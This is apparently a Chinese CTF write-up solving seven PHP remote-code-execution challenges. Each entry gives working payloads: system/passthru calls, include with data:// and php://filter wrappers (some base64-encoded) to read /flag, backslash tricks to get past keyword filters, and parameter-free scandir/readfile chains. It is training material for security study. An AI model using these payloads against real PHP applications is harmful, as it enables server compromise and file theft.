目前都是rce
web1
经过代码审计可以看出,如果不存在区分大小写的flag,就会执行”c“。没有经过任何闭合,很简单的构造c=system('ls');
经过寻找得到flag,可以在flag中添加\来绕过
web2
代码审计,绕过了system函数,我们可以换用passthru,不再赘述。
web3
代码审计可以看到绕过了较多的函数,这里再用别的函数一一绕过太麻烦,我们可以构造?c=include($_GET[a]);来例用php伪协议
?c=include($_GET[a]);&a=data:text/plain,<?php include('/flag');
?c=include($_GET[a]);&a=data:text/plain;base64,PD9waHAgaW5jbHVkZSgnL2ZsYWcnKTs=
?c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=/flag
web4
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=/flag
web5
代码审计,这里直接用了include,所以不需要自己构造了
?c=data:text/plain,<?php%20system(%27cat%20../../../fla\g%27);
?c=data:text/plain;base64,PD9waHAgaW5jbHVkZSgnL2ZsYWcnKTs=
web6
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi4vLi4vLi4vZmxhXGcnKTs=
web7
闭合了一万个字符串
这里需要用到新的知识点
无参数阅读文件
可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c')
这里用到的大多是数组的函数
current()返回数组中的单元,默认取第一个值:
localeconv()返回一包含本地数字及货币格式信息的数组。
所以:
print_r(scandir(current(localeconv())));打印当前目录下的文件名
print_r(scandir(next(scandir(getcwd())))) 获取上一层文件夹名称
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); 查看和读取根目录文件
print_r(scandir(getcwd())); 输出当前文件夹所有文件名.
print_r(scandir(dirname(getcwd()))); 查看上一层文件名
print_r(scandir(dirname(chdir(dirname(getcwd())))));调整工作台到该处
readfile(array_rand(array_flip(sandir(chdir(dirname(dirname(getcwd())))));随机显示数组,需要多刷新。